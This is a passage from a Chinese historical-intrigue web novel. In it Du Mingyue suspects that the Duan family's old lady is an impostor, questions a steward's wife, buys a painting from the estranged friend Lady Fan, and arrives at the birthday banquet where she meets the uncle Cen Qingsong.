杜明月回过神来,对着管家媳妇道,“关于老夫人的事,还有别的吗?” 管家媳妇闻言,又仔细的想了想,摇头道,“再没有什么特别的了。” 杜明月闻言点点头,其实今日从管家媳妇口中已经得到了许多有用的信息了,而且她也相信管家媳妇所说的,毕竟当时她并不在段老夫人跟前伺候,知道的不多,也正常。 “知道了。”杜明月眉眼淡淡的,将一旁的钱袋子打开,扔到了管家媳妇的怀里,“起来吧。” 那管家媳妇先是感觉怀中一沉,下意识低头,发现钱袋子甚是不是银子,而且明晃晃的金子时,开心的眼睛都睁大了。 管家媳妇也忘记了起来,反而是一个劲儿的给杜明月磕头。 “多谢夫人赏赐!”管家媳妇完全忘记了之前的恐惧,甚至还觉得自己今天是走了大运。 杜明月眉眼淡淡的看着她道,“收下了这些金子,该知道我是什么意思吧。” 那管家媳妇儿立马将头磕的咚咚响,“明白!明白!夫人您放心,我保证把我这嘴闭严实了,谁都不会说,就连我家那口子我也一个字都不会提。” 杜明月听了满意的点点头,挥手道,“行了,你回去吧,你也记着胆敢吐露半个字,我有的是法子让你生不如死。” 那管家媳妇立马麻利的点头,她的心里也暗暗想着,她才不愿意管府里那些腌臜事,只管捂起自己的耳朵,闭上自己的嘴巴,做好自己分内的事就行了。 管家媳妇握紧了自己的钱袋子,转身正准备离开,突然又想到了什么回头道,“夫人,奴婢想起来了,还有一事,当初在生下二少爷之前……” “不说的准确点,或许是在老夫人刚刚怀上二少爷的时候,这府里所有的丫鬟小厮都被换过一轮,当时因为我和我家那口子几乎不在主子们跟前露脸做事,才被留了下来。” 管家媳妇说起这件事到现在还觉得百思不得其解,“当初只听说是他们办事不利,但我也实在不明白,为什么会一下子换掉这么多人?” 杜明月听到这话直接愣住了,她觉得管家媳妇或许都没意识到,她这无意识的几句话道出了天大的玄机。 这背后到底隐藏了什么秘密? 杜明月暗暗掐紧手心,皱着眉头思索着。 那管家媳妇见杜明月不说话,也不敢再吭声,默默的行了礼转身退了出去。 那管家媳妇出门后,红豆立马将房门关上,她走到杜明月跟前,见她一直眉头紧锁不出声,她也便在旁边默默的站着。 过了许久,杜明月才终于开了口,“红豆,听了管家媳妇今天说的那些话,你有什么想法?” 红豆其实倒也没想那么深,只是凭着直觉开口道,“奴婢也不明白这是怎么回事,但总觉得听管家媳妇那话,段老夫人前后变化太大了,简直就不像同一个人。” 杜明月听了这话微微一笑,点头道,“没错,我也正是这想法,这前后根本不可能是同一个人。” 红豆一愣,像是有些不敢相信自己的耳朵,她反应了很久,突然震惊的开口道,“主子您的意思是段老夫人换人了?” “难不成现在的段老夫人不是一开始嫁进这府里的?那原来的段老夫人去哪里了?” 红豆即便将这话问出了口,也不明白这到底是怎么回事。 杜明月点头,眸光闪烁着认真而坚定的光芒,“没错,我就是这个意思。” “当年的嫁进来的段老夫人,和现在的段老夫人绝对不会是同一个。” 杜明月的语气十分笃定,“从这些日子我们得到的消息里看,段老夫人前后的脾气秉性完全是两个人,喜爱的东西也完全各不相同。” “不然没有道理自己喜欢了很久的东西,一夕之间突然就变了。反正我是不相信一个人会发生这么大变化的。” 甚至杜明月还有一个更大胆的猜想,现在的段老夫人其实是岑宜苗,也就是当初嫁进府里的岑婉心的庶妹。 只有这样,才能将所有的一切信息都对上,逻辑上也能解释的通了。 杜明月突然又意识到了另一个更加惊心的事情,如果事实真的如她所想,那段骆岐根本就不是现在的段老夫人的儿子。 段骆岐是岑婉心的儿子,段骆霖才是现在段老夫人岑宜苗的儿子。 这个想法让杜明月震惊的下意识捂住了嘴巴,这么一想,也就对段老夫人对两个儿子的态度有所理解了。 “主子,您想什么呢?这么入神?”还有很多地方想不通的红豆见她回神抬头,疑惑的问道,“如果现在的段老夫人是假的,那原来真的段老夫人去哪里了?” 还没等杜明月开口,红豆又问出了一个让两人猛地惊觉有些恐怖的问题,“还有她到底是怎么瞒天过海的?” 是啊!现在的段老夫人岑宜苗到底是怎么做到的瞒天过海的,难不成当初在府里有帮手? 不,联想到岑宜苗已经过世的消息,她认为真正已经过世的人是岑婉心,而岑宜苗就是凶手,那个帮手就是帮凶! 杜明月回想着刚才管家媳妇的话,怀疑当初那一批被换走的下人,一定都见过岑婉心和岑宜苗的真容,如果知道现在的段老夫人是岑宜苗,他们一定能立刻想明白这其中的内情! 第一百一十三章 求见范老夫人 杜明月暗自思忖:那接下来,如果能找到当年从侯府离开的人,是不是一切都会变得明了,段老夫人想要死守的秘密也会被揭开! 没错!是应该这样。 只是,时隔这么多年,想要将段府当年的下人找回来,何其艰难,难道就没有什么当年的故交之类的吗? 想到这里,杜明月眼睛一亮! 有的! 她记得那日在茶楼时,那婆子还提到了一个人,正是岑婉心还未出阁前,就关系很好的手帕交。 杜明月回忆着慕子叙告知她的消息,当年岑婉心的手帕交在她嫁入段府后不久,也嫁进了京城户部侍郎范家。 “这范老夫人……”杜明月低声喃喃自语,“我也从未见过,看来是一早就断了联系。” 其实,从这一点看,杜明月心里更加确定,段老夫人一定是换人了,现在的段老夫人一定是岑宜苗。 毕竟,范老夫人是岑婉心闺中密友,手帕之交,那一定很了解岑婉心,岑宜苗将她取而代之,即便能在段府瞒天过海,也绝对不可能和范老夫人相安无事,还和以前一样相处。 所以,最直接有效的方法,就是直接绝交! 一想到自己可能从范老夫人那里了解到更多细节,杜明月的内心便忍不住激动了起来。 是啊,比起寻找那些不知名的丫鬟小厮,还是直接去找现在的范老夫人比较好。 这么想着,杜明月立马对红豆道,“去准备一份贵重的见面礼,明日我想去范府拜访!” 红豆闻言,不敢有丝毫的耽搁,立马转身去办了。 屋内,只剩下杜明月一个人,她掐着时间算了一下,还剩三日就要到老夫人生辰了,她必须要想尽一切办法,务必在这三日内,见到范老夫人,并打听到更直接有用的信息。 翌日,杜明月早早带了好几盒沉甸甸的见面礼继续去了范府。 马车一停,红豆先是扶着杜明月从马车出来,之后立马将几个礼盒抱在怀里,跟在杜明月后面亦步亦趋的登上了台阶。 门口的门房小厮虽然不认识杜明月,但看她衣着华贵,貌似天仙,气质惊人,便知道不是寻常之人,立马客气恭敬的上前接待。 “我是镇南侯府段骆岐的夫人,今日是想来拜见你家老夫人的,你替我通传一下。”杜明月说着,还拿出了锭沉甸甸的银子交给那小厮。 那小厮本来就对杜明月很是恭敬,一看到她还如此体恤下人给自己塞钱,眼睛都亮了,脸上的笑容也更加的谄媚友好。 “是,侯夫人您在这里稍等,我马上进去通传!”那小厮说完,急忙行了礼,转身就往府里飞快的跑进去。 杜明月安静的站在门外,其实她的内心是有些忐忑和担忧的。 毕竟,现在的段老夫人已经和范老夫人断交了几十年,恐怕当初断交的时候闹得面子上也不痛快。 范老夫人如果因为当初不明不白被断交的事心怀怨气,说不定会将这怨气发在贸然上门拜访的自己身上。 杜明月想到这里,不仅沮丧的叹口气。 她身边的红豆见状,忍不住凑近了小声道,“主子,怎么了?” 杜明月小声道,“没事,我只是有些担心,范老夫人不愿意见我。” 天下之事,果然是怕什么来什么。 杜明月的话音刚落,就看到刚才那门房小厮气喘吁吁的跑来,他抬头对上杜明月那双期待的眸子,满脸为难。 “侯、侯夫人,实在是抱歉,我们老夫人听说您是镇南侯府的人,不愿意见您。”那小厮叹了口气,看在杜明月刚才给自己塞了银子的份上,没有将范老夫人更难听的话说出来。 杜明月虽不愿意为难这小厮,但她今日必须要见到范老夫人。 “老夫人刚才听说我来拜访,怕不是发了一通火吧?”杜明月面色不改,波澜不惊的开了口,那小厮一听这话,整个人直接愣住了。 他尴尬的点点头,又疑惑的问道,“侯夫人既然知道,为何……” 杜明月知道他是好奇自己为什么明知道范老夫人的反应,还要来,她微微一笑,十分平静的道,“麻烦,你再帮我通传一声吧。” 她说着,又给小厮塞了一锭银子,不给小厮拒绝的机会。 “这一次,麻烦你去告诉你们老夫人,我来此与并非是段老夫人授意,但我有一事相求,一定要亲眼见到范老夫人。” 杜明月不卑不亢,态度坚定,“如果老夫人还是不同意,那我会一直在这里等,等到老夫人愿意见我为止。” 那小厮见杜明月打定了主意的模样,只好又转头跑去了范老夫人那里。 但很快那小厮又回来了,不出她所料,范老夫人果然还是不愿意见她。 “主子……这……”红豆瞧着今日艳阳高照,天气也热,有些担心杜明月,便凑近小心请示道,“若范老夫人一直不肯见您,咱们真的要一直站在这里等吗?” “等。”杜明月不情不愿的吐出一个字,但语气透着不容置疑的坚定。 红豆见状,也就明白了杜明月的决心有多强烈,立马不再说话,安静的站在一旁陪她站着。 范府的门房小厮见状,整个人也愣了,又不好再回去找自家老夫人,只能尴尬为难的在一旁看着。 眼瞅着时间一分一秒过去,那小厮见杜明月都快站了一个时辰,白皙的脸上还有汗珠出现,整个人似乎也有些站不住了,只能立即转身又跑去请示范老夫人。 或许是杜明月的坚定打动了范老夫人,又或许范老夫人也想起了以前和岑婉心之间的事有些好奇,总之终于动了恻隐之心,答应见杜明月。 那小厮高兴的怀揣这个好消息而来,杜明月也松了一口气,再次塞给小厮一锭银子,在他的指引下,脚步匆匆的来到范府花厅,见到了那位范老夫人。 范老夫人的年纪看着和段老夫人差不多,眼角虽也布满了皱眉,脸上还有些隐隐的怒气和不满,但杜明月还是从她的眉眼中看出了几分和善和宽容。 第一百一十四章 重金买回荷花图 杜明月心想,也难怪当初范老夫人未出阁前便和岑婉心是手帕交,因为两人性格都算是温婉善良的。 杜明月正想着,却只听范老夫人冷冷的开口,语气带着几分尖酸刻薄。 “你就是镇南侯府的少夫人?哼!”范老夫人抬眸打量杜明月道,“听说你嫁进段府前在京城闹出的动静也不小,不过段老夫人该不会因为你是商户女,没请多少宾客吧?” 杜明月听了这话一愣,她不禁想起了自己成亲那日的情景,那日她只沉浸在自己得偿所愿的幸福中,竟没有注意到,段老夫人好像真的因为自己是商户女的原因,并没有大操大办。 成亲那日的喜宴来得宾客也确实不多。 那时段老夫人只说是段府时运不济,她也不在乎喜宴的排场,只管将一切东西都自己掏钱用了最贵的,成亲后又一门心思辅佐段骆岐,更是没在乎这一点。 如今听到范老夫人的这番话,只觉得心里的那根刺刺得更深了,果然段老夫人和段骆岐一开始,就是在利用自己。 杜明月抬头定定的看向范老夫人,范老夫人被她这么直勾勾的盯着,竟一下子有些心虚和底气不足。 “我倒也没有轻视你是商贾之女的意思……” 范老夫人张了张口,又觉得自己不该向杜明月解释,毕竟这也没什么,随便杜明月怎么理解她的话,她也不在意。 然而杜明月听闻这话,却微不可察的勾起唇角,看向范老夫人的眸子也没有任何敌意,和被冒犯的不快。 杜明月想,她或许能够理解范老夫人说这些话的原因。 范老夫人果然对当年岑婉心和自己断交一事耿耿于怀,近二十年不曾见面,但她也还是偶尔会关注段家的事情。 恐怕在当初听到段骆岐大婚的消息时,心中还抱着最后的一丝期盼,以为段老夫人会邀请自己去吃喜酒,但显然她的愿望还是落了空。 不知为何,杜明月心中突然升起一抹悲戚,如此重视岑婉心的范老夫人如果知道自己真正的手帕交已经过世,她该多么伤心和难过。 杜明月深吸了一口气:此事果然还是越少人知道越好。 “无妨,我知老夫人不是故意贬低于我。”杜明月露出一抹友善的笑容,范老夫人见了微微一愣,心中莫名生出一丝对她的喜欢和欣赏。 “嗯……那你今日来到底有什么事?”范老夫人对杜明月的态度柔和了一些,不过还是对她的突然出现很不理解。 杜明月抬头见花厅还有其他丫鬟在,便上前两步压低声音道,“不知老夫人可否借一步说话,我有话想和老夫人单独谈谈。” 范老夫人微微蹙眉,审视杜明月的脸上多了一丝警惕,但她在杜明月的脸上实在看不出什么敌意,心中对她想说的事情也有些好奇,想了想还是点头同意了。 范老夫人一挥手,对着屋里伺候的丫鬟们说道,“你们都出去吧。” 屋里的丫鬟都出去后,红豆将手里抱着的礼物都放在桌上后也转身离开,还顺手带上了大门,守在门口。 “其实我今日来叨扰范老夫人,是有些陈年旧事想向您打听一下。” 杜明月知道范老夫人为人不错,也不跟她拐弯抹角的套话,直接开门见山道,“是与我婆母,段老夫人有关的。” 当杜明月说出“婆母”这两个字时,内心的厌恶几乎让她想要狠狠咬自己的舌头,但眼下还是问出当年的旧事要紧,不想让范老夫人察觉到其他的事情。 而她的话让范老夫人不解的睁大了眼睛,一脸疑惑的看着她道,“奇怪,既然是你自己的婆母,有什么问题不能直接去问她,还要过来问我?” 杜明月有些尴尬道,“说起来不怕范老夫人笑话,之前我因在宫宴上有失德行,被留在东宫一年,如今回到府里,却发觉婆母以往的喜好好像发生了变化。” “好像突然念旧了起来。”她微微笑了一下道,“这不如今婆母生辰在即,我想送你讨她欢心,却又不知从何入手。” “因前几日听婆母说起,您未出阁时便是婆母的闺中密友,因此今日才特意上门拜访请教。” 杜明月说的一脸认真,好像真的有这回事一样。 范老夫人闻言张了张口,愣了许久,似乎是想起了一些什么旧事,很有触动的样子。 半晌,她才冷哼了一声道,“她竟还好意思说我是她的闺中密友,真是厚颜无耻。” 她顿了顿见杜明月不再说话,而是安静的看着她,犹豫之后终于叹口气,继续说了起来。 “哼!你婆母早在十几二十年前就不再与我来了。”范老夫人认真的回忆起来,“仔细算起来,差不多是她怀段家老二之前吧,便不再与我一同出行游玩,连面都不见一次的。” 范老夫人说起这件事,话语里似乎还带着隐隐的怒气,“后来她许久不见我,我还专门给她写了信。没想到她竟直接给我回了一封绝交信,真是气死我了!” “我们可是从小一起长大的!”范老夫人还是越想越生气,有些不能理解。 杜明月见她看向自己的目光带着询问,但她又不能如实相告,只能急忙转移话题道,“对了,听说我家婆母那时候很喜欢画画?” 说起这件事,范老夫人立马点头回应,“没错,你婆母最擅长画的还是水墨风景画。别看她以前性格温婉乖顺,她的画作却能看出几分肆意洒脱。” 杜明月默默点头,范老夫人突然眼睛一亮,“对了,我这里还有她当年画的一幅荷花图。” “真的?”听到这话,杜明月的眼睛也一下子亮了起来。 她的眸子一转,计上心头,急忙道,“我婆母前几日还感叹,多年不做画画技已经生疏不如往日,往日所做的那些画作又都送了人,竟一幅也没有留下,如今想看看自己当年的画作也成奢望了。” 范老夫人听了这话,不免撇了撇嘴角,“谁让她这么多年再也不作画的,不过说来也是奇怪,她以往那么爱说话的一个人怎么会突然封笔?你没问问原因?” 第一百一十五章 她倒是好运 杜明月看得出来,范老夫人是真的很好奇这个问题,但奈何杜明月依然不能告诉她事情的真相。 杜明月摇了摇头,又道,“不知老夫人可否割爱,将这幅荷花图卖与我。我想在三日后的生辰宴送给婆母。” 她这话一出口,便让范老夫人愣了很久。 思忖良久后,范老夫人点头道,“她倒是好运,有你这么一个用心的儿媳妇。时间也已经过了这么久了,有些事我也该放下了。” 范老夫人重重的叹了口气,“时间过得真快,一年又一年,转眼又是她的生辰了,年少时我们还想象过彼此变老的模样,却没想到我们到了最后竟会老死不相往来。” “你跟我来吧。”范老夫人起身朝着内室走去,杜明月急忙跟了上去。 杜明月看着范老夫人十分珍重的从一个匣子里取出一幅画,放在桌上展开后,果然是一幅怒放的荷花图。 范老夫人望着这幅画久久出神,仿佛透过这幅画又看到了两人年轻时相处的时光。 “拿走吧!”范老夫人最后一闭眼,眼不见心不烦的往杜明月怀里一塞。 杜明月急忙将画轴卷了起来,重新放回盒子里,她将整个盒子抱在怀里,又跟随着范老夫人的脚步离开了内室。 回到花厅中,杜明月立马掏出了五百两银票,郑重的交到了范老夫人的手中。 范老夫人一愣,正要开口回绝,却听杜明月认真道,“作为小辈,本不该这般无理的上门叨扰,但实在是情有可原,感谢老夫人出手相助,愿意将这画卖与我。” 杜明月这番话其实另有所指,但范老夫人并没听出其他的深意,只当杜明月是为了在生辰宴上讨自己婆母开心罢了。 她心中感叹,看来自己的手帕交这些年过得也还不错,她可以不用再耿耿于怀了。 她正想着就听杜明月开口道,“今日实在是我唐突了。感谢老夫人不与我计较。桌上的这些礼物聊表歉意,还希望老夫人也能一并收下。” 范老夫人认真的看了看杜明月,郑重的朝她点了点头。 “你是个有心的孩子,她能有你这么好的儿媳,当真是几世修来的福分。”范老夫人再次感叹。 说来她自己也觉得有些奇怪,今日见了杜明月,听她说了这么多话,她那颗好像悬了很久的心终于放了下来。所以也说不上轻松,但至少十分平静。 杜明月再次行礼后,正准备转身离开,又想起一事道,“还有最后一件事,烦请老夫人替我解惑。” 此时的范老夫人面色十分平静,眉眼温和,脸上带着淡淡的笑容点头道,“你说吧,如果是和你婆母有关的,只要我知道都会告诉你的。” 杜明月感谢的看着她开口道,“我婆母在饮食上有没有特别的忌口?” 范老夫人想了想道,“我记得我们还有来往的那些年,她从不吃鸡鸭肉,总说是有一股膻味儿。” 杜明月点了点头,范老夫人又补充道,“但人嘛总是会变的,说不定她这些年的口味变了也未可知。” 杜明月点点头,她自己心里也清楚饮食口味这种事,和喜欢作画不同,虽说不能拿来做确切的证据,但只要现在的段老夫人是假的,那么这一点也能作为试探她心虚的利器。 杜明月抱着画匣离开范府时,忍不住回头看了一眼,有那么一瞬间的失神,想象着如果真的段老夫人还在的话,她和范老夫人的关系会是怎样。 很快杜明月就从这种情绪中抽离出来,现在这些对她说都不重要,重要的是她一定要搞砸段老夫人三日后的生辰宴。 这么一来,她不仅能试探出段老夫人的真假,等到段府从内乱起来,董皇后那边她也好交差。 回府之前,杜明月还和红豆一起去了孟小桥那里,预定好了生辰那日需要的大猪头。 孟小桥拍着胸脯道,“你放心交给我,到时候连那些东西我也给你准备好,提前给你包好。” 孟小桥一脸神秘的说完,转头又看向红豆打趣道,“就是到时打开别吓着你了。” “孟姑娘,我可是练武之人!我才不怕那些东西。”红豆自信的说完,转头看向了杜明月,“主子,到时你离得远一点,省得那些东西跑到你跟前去了。” 杜明月微微抿唇一笑,“没事,既然我同意这么做,自然也是不怕的。” 孟小桥见点头笑道,“那行,我提前一日给送到你那里去。” 杜明月点头离开,回府后一直将自己关在屋子里,段骆岐偶有找来,都被红豆找借口杜明月在给老夫人准备生辰礼推拒了回去。 三日眨眼就过去,到了段老夫人生辰这日,段府张灯结彩,门庭若市,前来贺寿的官眷也很多,府中一片热闹、喜气洋洋的气氛。 府中下人们也都穿上了最好的衣服,满面红光,进进出出忙着布菜,心里也都期盼能沾点喜气,伺候得主子们高兴了,说不定还可以讨个赏,这一日也算没有白忙活。 杜明月起床时,早已是日上三竿,外头早已是人声鼎沸,沸反盈天。 和外头宾客们言笑晏晏的热闹场景不同,杜明月这边屋内安静的很,她起来后甚至忍不住捂嘴打了个呵欠。 红豆伺候她穿衣时,还忍不住抱怨道,“侯爷早上还来过两次,就知道催催催,真烦人,不过好在都被我挡在了外面!” 红豆一歪头,看着杜明月笑嘻嘻的道,“主子没吵着你睡觉吧?” “没有,你做得好。”杜明月微微笑着,出言夸奖。 穿好衣服洗漱好之后,便对镜描眉,给自己点上口脂。 其实,前几年她还在府里的时候,每次遇到段老夫人生辰,确实是她忙着操持生辰宴,忙着招待宾客,一大早就起了。 可今时不同往日,她都是一个要自请下堂之人,心中早就不把自己当成段家人,又怎么会在意今日段老夫人的生辰宴,如果不是一会要去自导自演一场好戏,她根本连面都不想露。 片刻后,装扮完成的杜明月起身,一下子便让红豆看呆了。 第一百一十六章 你那叫伺候 杜明月明眸皓齿、粉面含春,五官精致身量苗条,那一双凤眸虽然淡淡的,却十分勾人,让人移不开目光。 身上一袭粉色的衣裙用金线作了刺绣,头上带着流苏金饰,整个人看起来闪闪发光,流光溢彩。 “哇,奴婢终于知道了话本子里说的那些光彩动人的神妃仙子,是什么样子了。” 眼睛发亮的红豆甚至有一瞬间觉得,杜明月若是天天这样装扮起来出门,恐怕京城里不仅是男人们要拜倒在她的石榴裙下,恐怕女人们也会为之着迷。 杜明月无奈着看着红豆笑了笑,抬手在她的脑门上轻轻敲了一下。 “走了,好戏该出场了。”杜明月勾唇,红豆回过神来,用力的点点头,立马坚定的跟上了杜明月出门的脚步。 都说冤家路窄,杜明月才刚刚踏进举办生辰宴的后花园,还没到人多处,抬头便碰见春红从不远处的回廊上朝着自己走过来。 杜明月看着她才想起来,怪不得前几日觉得眼前清净,原来是她被段骆岐禁足了好几日,看来今日因着老夫人的生辰,她就被放出来了。 看她一脸得意,估计今日自打这生辰宴开始,她没少帮着张罗和忙活,因而不觉挺直了腰杆,觉得自己也算是半个女主人了。 杜明月冷笑一声,收回自己的思绪,她今日并不想搭理春红,因此转身就准备迈开步子离开。 谁知春红又不长记性,言语嚣张的开了口。 “哟,姐姐怎么才来啊。姐姐可是侯府的夫人,老夫人生辰这么大的事,不起大早张罗,这不太好吧。哎呀姐姐你是不知道,因为你不来,我有多辛苦呢!” 春红语气刻薄,言语中还带着一点挑衅和炫耀,像是在向杜明月彰显,她如今已经可以顶替她的位置,做那些原本应该是杜明月才能做的事。 春红等着看杜明月恼羞成怒的模样,谁知不仅没有等到,还被杜明月冷笑一声,狠狠嘲讽了。 “我,作为镇南侯府的侯夫人出面张罗接待宾客,那叫宾主尽欢,你,一个姨娘,出面张罗伺候,那叫什么你知道吗?” 杜明月冷笑一声,望着疑惑的春红嗤笑道,“那叫伺候他们!你以为你这是在给侯府长脸,给自己长脸吗?不,你这才是真的在打侯府的脸,让侯府蒙羞。” “今日来得宾客们不仅不会高看你一眼,还会觉得侯府竟失了礼数,让上不得台面的人出来,既看轻了自己,也得罪了他们!” “……怎,怎么可能!”春红心中猛地一沉,想到刚才她来时,看到段骆岐的脸色确实不悦,她还以为是杜明月没有出现让他心生怒气,原来竟是这个原因吗! 不!不会的! 不安的春红立马摇头否认,她不能接受这样的事实,也不敢去深想,明明老夫人是同意她帮忙的啊! 春红心中又是一沉,她回想起,老夫人虽是说过这话,但也并未说得详细,况且老夫人说完转身就和一些来道贺的老夫人说话去了,也根本再没有时间管她。 越想,春红越不安,可春红不敢承认,也不能承认。 她死死的攥紧了双手,愤恨的看着杜明月,从未觉得有一刻像现在这么羞愤。 杜明月很满意她的眼神变化,看来她还是意识到什么不对劲了。 她也懒得再去搭理春红,转身就要走,可没想到春红竟然还嘴硬不依不饶。 “慢着!姐姐怎么空着手来的?该不会没有给老夫人准备生辰礼物吧?”春红强装镇定的继续对杜明月冷嘲热讽。 杜明月听着春红嘴里“姐姐”、“姐姐”的叫着就嫌烦,虽然她很想立刻狠狠教训春红,但一想到今日还有更重要的事情要做,并不想将事情闹大,让春红缠上自己从而坏事。 她叹了口气,转身看向春红,正犹豫该说什么能让她尽快离开时,就听到春红再次开了口。 春红不仅不知道收敛,愈发得意,得寸进尺了起来。 “姐姐,你刚才那番话说得倒是天花乱坠,可我看这府里上下,最没有礼数的就是你!” 春红心中愤恨,用言语肆意宣泄着心中的不满。 “你今日没有尽到侯夫人的礼数,丢了侯府的面子不说,就连老夫人生辰的礼物也敢不准备,未免真的太不把老夫人放在眼里了吧!” 杜明月蹙眉,却并不着急反驳,她发觉自己先前那一番话看来真是戳到春红痛处了,才会让她如此破防和激动,竟敢这里大声数落起自己来了。 红豆也察觉到了杜明月隐隐的不快,立马准备上前制止春红,顺便再给她两巴掌好好教训她时,却被杜明月一把抓住了手腕。 杜明月自然知道红豆护主心切,想替自己出头,可现在不是时候,她不能因为一个春红就坏了自己的大事。 杜明月朝着红豆轻轻摇了摇头,红豆明白她的意思,只能不快的抿紧唇克制自己的愤怒。 春红见状,更加得意了,她真的以为搬出老夫人的名头有用。 “夫人,任凭你再怎么厉害,这府里还是老夫人最大,只要老夫人允许,我便可以这么干!” “是,我承认在这府里我的地位确实比不上你,但在你之上的还有侯爷,侯爷之上更有老夫人,即便是侯爷做的决定,老夫人也能更改。” 春红得意的挑了挑眉,“不说别的,单说这次我被禁足。侯爷是不准我出来的,但那又怎么样?我还不是因为老夫人一句话就被放了出来。” “另外,我再给夫人一句忠告,既然夫人这么想和离,我虽是帮不上什么忙了,但夫人与其这么耗着,不如直接去求老夫人。让老夫人命侯爷给你和离书,也不用日日待在这府里了!” 春红说这话时,眼中闪过一抹急切的光芒,那样子恨不得杜明月马上就能离开段府,消失在她眼前,这样她说不定就真的有机会被扶正了! 但她似乎忘了,她还只是个丫鬟时,在杜明月从东宫回来大闹段府的那段时间里,老夫人早就嚷嚷着段骆岐给杜明月和离书,只是段骆岐一直不肯,事情才一直拖到了今日。 第一百一十七章 是我舅父 杜明月一言不发的看着春红,心中暗暗感慨,世间竟然真的有她这么蠢的人,连做走狗都看不起清情势,也认不得谁才该是她忠心效忠的主子。 杜明月难得用可怜的眼神望着她微微摇头,她这举动在春红眼里看来更是极具侮辱性。 春红气的瞪大了眼睛刚想说什么,可杜明月根本不给她开口的机会。直接转头就离开了,留春红一个人在原地气得直跺脚。 才刚走几步,杜明月又碰到了朝着宴席走过去的柳楹莹。 她脚步一顿,看到柳楹莹手中牵着两个孩子,脸上自始至终都挂着淡淡的微笑,即便是看见了杜明月,脸上的神情也没有任何变化,反而十分和气懂礼的向杜明月行了礼。 “快向夫人问好。”柳楹莹还立马催促两个孩子向杜明月问好。 杜明月沉默的看着她,心想柳楹莹日后倒是挺适合做这段府的当家主母,毕竟她能忍又知礼,不像春红那样沉不住气。 就连在今日这样的场合,柳楹莹也没有着急表现自己,而是十分的安分守己。 杜明月很快收回了自己落在柳楹莹身上的目光,其实她也并不在意,最后到底是谁做了这府里的女主人,毕竟等她离开以后,这府里的人和事都和她没有半点关系。 杜明月也朝着她微微颔首,抬眸,就看到段骆岐看向这边,脸上露出了欣喜的笑容,还悄悄的朝这边直摆手。 柳楹莹见状,脸上一喜,急忙拽紧了两个孩子的手,向杜明月告辞,朝着段骆岐快步走了过去。 杜明月见状,眉眼依然淡淡的,丝毫不在意,她抬头将目光略过段骆岐,落在了他身后不远处的段老夫人身上。 段老夫人此时正和另外两位穿金戴银,一身绫罗绸缎的官眷老夫人闲聊,好像很开心的样子。 杜明月心中冷笑:笑吧,毕竟开心的时间也不多了,不知道你等下还笑不笑得出来! 杜明月已经迫不及待想看段老夫人变脸的模样了,于是也加快了脚下的步伐。 当杜明月和柳楹莹一前一后,几乎同时出现在生辰宴上时,段骆岐已经迫不及待,立马起身朝着这边走了过来。 “侯爷……”柳楹莹见段骆岐朝着自己靠近,心中不觉羞涩,一抹红晕爬上脸颊,她娇柔的将脸低了下去。 然而下一瞬,她便感觉有一阵风从自己身边经过,她没有等来期待的大手传来温暖,却只感觉到一股凉意,让她的心头闷闷的。 柳楹莹连忙抬头,发现段骆岐竟然看都没有看自己,径直朝着她身后的杜明月走了过去,还一把抓住了杜明月的双手。 而原本正在看段老夫人的杜明月也是一愣,她刚才并没有看段骆岐,因此也没想到他是冲着自己来的。 而一旁的红豆虽然也同样吃了一惊,却不敢在这个场合贸然将段骆岐的手拉下来。毕竟来之前,杜明月已经一再叮嘱,让她沉住气,不管发生什么都要先得到她的首肯。 “明月,你身体好些了吗?”段骆岐目光满是关心的看向杜明月,眼里的喜欢藏都藏不住,几乎都要溢出来了。 他刚才发现杜明月的第一眼,就被惊艳的目光完全移不开了,甚至夸张的觉得好像听到了自己如雷的心跳声。 有些痴迷的段骆岐不自觉的加重了手中的力度,让杜明月忍不住微微蹙眉开口道,“我没事。” “没事……可你的丫鬟今日几次将我拦在门外,说你身体不适,我还很担心,怕你不能来参加生辰宴。” 说着一脸困惑的段骆岐还抬头瞪了一眼红豆,很明显他对红豆这个丫鬟一点也不满意,要不是杜明月几次三番护着,估计自己早就把她赶出去了。 红豆转过头,偷偷的撇了下嘴角翻了个白眼,心中忍不住嫌弃段骆岐这话听起来怎么像是在告状似的,难道没有杜明月的允许,她还能骗他不成,真没想到堂堂镇南侯也是个蠢的! 杜明月讪讪的笑着,不着痕迹的将自己的手抽了出来。 “她没骗你,可能是我昨日吃坏了东西,今早确实不舒服,但我想着,今日毕竟是老夫人生辰这么重要的日子,我还是要出席的,所以我吃了药,现在没事了。” “你真的不舒服?”段骆岐一听,心口一紧,脸上都是关心的神情,也忘记问她有没有准备贺礼的事。 段骆岐伸手想要扶着杜明月坐下,杜明月不着痕迹的躲开了,自顾自的微笑坐下,“现在已经没事了。” “哦……”段骆岐见杜明月的目光一直落在不远处的段老夫人身上,而忽视了自己,心里总有些暗暗不得劲。 段骆岐转念一想,又觉得今日是自己母亲生辰,杜明月的注意力都在她身上也很正常,这不正说明了,她在意自己的家人,便没说什么准备坐下。 他一抬头,见柳楹莹和两个孩子还在一旁定定的站着,愣愣的看向自己,便忍不住眉头一皱道,“你们也坐吧。” 柳楹莹眼底有嫉妒之色一闪而过,但她立马露出了温婉和善的笑容,将她心底的情绪和掩盖住了。 她将两个孩子安置在自己身边坐下,抬头就看到段骆岐坐的离杜明月很近。 杜明月见和段老夫人说话的那些老夫人们离开后,有一个头戴员外帽和老夫人差不多年纪的男子上前和她说话。 自这男子出现后,段老夫人的神情变化很是耐人寻味。 杜明月清楚的看着段老夫人先是愣住,之后目光里带着难得的柔和,和一些说不清道不明的情绪。 “哦。这是我舅父。”段骆岐见她久久望着两人,一言不发若有所思的模样,便主动开口解释,言语间还带着几分喜悦和欣慰。 “是母亲的娘家人,也有几年不来往了,没想到这次会来。”段骆岐说着,还主动给杜明月夹菜。 岑家的人?段骆岐的舅父? 杜明月想起慕子叙之前给她的消息,那此人便是岑青松了! 她正准备回忆当初那个岑家婆子是怎么描述这个人的,却见岑青松竟然转身朝着段骆岐和她走了过来。 第一百一十八章 炙热的目光 杜明月一惊,连忙将所有的思绪都收拢,认真的看向出现在自己面前的这个男人。 岑青松目光落在段骆岐的脸上微微出神,杜明月想,或许他是透过段骆岐想起了故人吧。 杜明月又转头看向段骆岐,他的脸上只有笑容,并没有察觉自己的舅父神色有任何异样。 “舅父,这位便是我的夫人,杜明月。”段骆岐微笑开口,心中竟不知为何有些忐忑,像是生怕杜明月在这个场合否定自己的话。 杜明月袖子下的双手攥紧,她确实是想反驳段骆岐的,听他这么称呼自己都觉得恶心,可是一想想今日的计划,也不好发作,只能咬牙忍了下来。 而岑青松一听这话,立马将目光落在杜明月的脸上,也仔细的打量起来。 片刻后,岑青松才微笑着点点头,似乎是对杜明月很满意。 